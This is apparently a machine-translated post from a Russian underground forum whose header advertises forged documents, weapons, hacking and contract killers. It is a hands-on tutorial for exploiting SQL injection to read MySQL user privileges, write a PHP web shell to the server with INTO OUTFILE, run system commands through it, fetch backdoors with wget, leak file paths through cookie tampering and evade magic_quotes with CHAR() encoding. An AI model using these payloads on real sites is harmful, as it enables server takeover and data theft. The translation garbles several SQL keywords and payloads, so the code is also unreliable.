Что нового
Теневой форум

Добро пожаловать на FSELL- крупнейший теневой форум. У нас Вы сможете найти огромное количество заработка в интернете, купить паспорт, ксиву, оружие, куча многих товаров и услуг, в виде пробива, взлома, нанять киллера. Все это Вы найдете на нашем форуме! Не пренебрегайте услугами Гарант-Сервиса, это убережет Вас от мошенников.

[Практический Tutoral] Как загрузить файл на сервер с использованием SQL Injection errors

Чёрнокнижник

Администратор
Команда форума
Туториал моего авторства, я прошу перевести его в «учебники». :Coolface:
Учебник не написан для студентов, которые впервые учатся, вы должны иметь базовые знания PHP и SQL.

1. Нам нужно найти полный путь к текущему пользователю.
2. Нам нужно проверить, есть ли у сервера «магические кавычки».
3. Сценарий должен быть выполнен на учетной записи ROOTA.

Сначала вам нужно объяснить несколько основных вещей. Прежде всего, нам нужно выяснить, является ли наш пользователь root (пользователь который запускает сценарий страницы). Как я уже сказал, статья не для зеленых людей, я могу только сказать что команда
Код:
union
используется для замены таблиц в базе данных, например: макет в базе данных к которой ссылается скрипт при входе в систему с помощью следующего запроса:
Код:
przykladowastrona.pl/blednyskrypt.php?id=1 и 1 = 0 union all select 1,2,3, 4, user, 6,7,8,9,10,11,12,13 от mysql.user-

ID, USER, PASSWORD, MAIL, STATUS
Команда
Код:
union
позволяет, например, заменить «ID» записью с именем «PASSWORD». Поэтому если у нас есть восприимчивость в скрипте, например: новости отображающие идентификатор новостей благодаря этой ошибке мы сможем увидеть например: PASSWORD это как напоминание, потому что этот учебник не применяется для отображения пароля только для загрузки файла на сервере.

Итак, давайте предположим, что после использования этого кода выясняется, что скрипт находится в корневой учетной записи,
Теперь, когда мы знаем что это root, мы можем проверить его разрешения, используя следующую команду «command», а точнее, запросы
Код:
atkladowastrona.pl/blednyskrypt.php?id=1 и 1 = 0 union all select 1,2,3,4, concat_ws (':', user, file_priv), 6,7,8,9,10,1 1,12,13-
Если мы покажем имя пользователя который является root, он будет выглядеть так:
кто-то / Y

И если это root, тогда мы будем они могут использовать INTO OUTFILE и загружать оболочку (shell), теперь вам нужно продолжить и посмотреть, можем ли мы найти полный путь для загрузки оболочки.
Несколько слов о INTO OUTFILE позволяют вам создать файл на сервере из URL-адреса параметра, мы можем указать содержимое этого файла в нашем примере скрипта оболочки.
Единственное условие - предоставить полный путь к файлу, начиная с домашнего каталога в системе LINUX (мы предполагаем, что страница находится на linux), которая называется HOME
Код:
przykladowastrona.pl/blednyskrypt.php?id=1 

и 1 = 0 union all select 1,2,3 , 4, «ЗДЕСЬ, КОД УРЕГУЛИРОВАНИЯ КОНТЕЙНЕР SHELL.php ФАЙЛ», 6,7,8,9,10,11,12,13 ВХОД 

/ / home / 

файл / home / ktos / nazwa uzytkowniak / public_html / вот все файлы на сервере /shell.php наш сгенерированный srkypt
Итак, давайте разместим там простой код который позволит нам взять на себя «власть над системой на сайте»,
Код:
przykladowastrona.pl/blednyskrypt.php?id=1 и 1 = 0 union all select 1,2,3,4, "<? php system ($ _ GET ['command']); ?> ", 6,7,8,9,10,11,12,13 INTO OUTFILE" /home/ktos/public_html/shell.php-
Что это дает нам?
$ _GET ['command'] - это, как известно массив, в котором хранятся некоторые данные из параметра URL-адреса
системной функции, это стандартная функция в PHP, которая позволяет управлять оболочкой с уровня www.
После создания этого кода в файле shell.php появится содержимое системы
Код:
<? Php ($ _ GET ['command']); ?>
как его использовать?
Поскольку мы знаем, что файл shell.php уже находится на сервере, мы должны обратиться к нему и вызвать параметр из параметра URL через $ _GET
Код:
<? Php system ($ _ GET ['command']); ?>
Мы делаем это так
Код:
przykladowastorna.pl/shell.php?komenda=ls
Что дало нам это после вопросительного знака, мы ссылаемся на массив называемый командой для ввода данных для выполнения функциональной системы после того как символ «=» вводит эту команду в примере, который я использовал «LS» является базовой командой в системах Linux, которая отвечает в окнах команда «dir», т.е. отображение списка файлов в данном каталоге.
В результате я

получил такой результат:
Код:
46 Dinitrol 7250 5l c.jpg file.pdf file2.pdf blednyskrypt.php shell.php index.php obrazki.jpg
Таким образом список файлов в команде можно ввести все, например, вы можете использовать программу wget для загрузки некоторого бэкдор-программного обеспечения и т. д.

Хорошо, я ничего не сказал о том, как получить полный путь доступа, который я написал выше.
Нам нужно будет использовать плагин, например, firefox, называемый заголовками заголовков HTTP, вы можете найти его в Google.
Он служит для перехвата HTTP-запросов, которые отправляются на сервер при загрузке страницы.
Мы открываем живые заголовки http и ищем что-то подобное после обновления
Код:
PHPSESSID = 32932930229303290 
или 
Cookie: blablblablablabla
Мы щелкаем по одной из них кнопкой редактирования, если я правильно помню, а затем введите значение «0», а затем нажмите повтор. Сервер перезагружает скрипт и отображает ошибку из-за того, что он получил неверные данные и, кстати, отобразит полный путь к каталогу home / ktos / public_html ...
Конечно, этот трюк не будет работать всегда, потому что он зависит от конфигурации сервера. Он начнет вырезать входящие данные из скрипта, если он встретит специальные символы, такие как <, /,? и изменится на \ <\ / \? в котором мы разместили теги, связанные с php. Таким образом, сценарий не будет сохранен на сервере

Вторая важная вещь, о которой я не упоминал, - это некоторая безопасность в конфигурации PHP, называемая Magic_Quotes, если она настроена на режим, разрешенный на сервере. И, выполняя оболочку, мы это сделали. Мы набрали специальные символы для создания системы
Код:
<? Php ($ _ GET ['command']); ?>
в результате, если предположить, что сервер использует magic_quotes, то в скрипте, подпишитесь на
Код:
<\? php system ($ _ GET ['command \']); \?>
что-то вроде этого, и скрипт не будет выполнен. Мы должны прибегнуть к определенному трюку. Каждый интернет-браузер, помимо чтения обычных символов, также может читать таблицы символов ASCII
Код:
и 1 = 0 union all select 1,2,3,4, CHAR (60,63) "system ($ _ GET [ 'koemnda']); «CHAR (63.62), 6,7,8,9,10,11,12,13 INTO OUTFILE» /home/ktos/public_html/shell.php--
Команды CHARзаставляет браузер читать то, что находится в скобках (63, 62),
и скрывается там в первой скобке «<?». то есть код, который запускает скрипт PHP, и содержит специальные символы, тогда как он скрыт, поэтому magic_quotes не поймает его,
но вторая скобка CHAR (63.62 ) содержит скрытый код «?> »,
и в результате скрипт будет создан правильно.
 
Вверх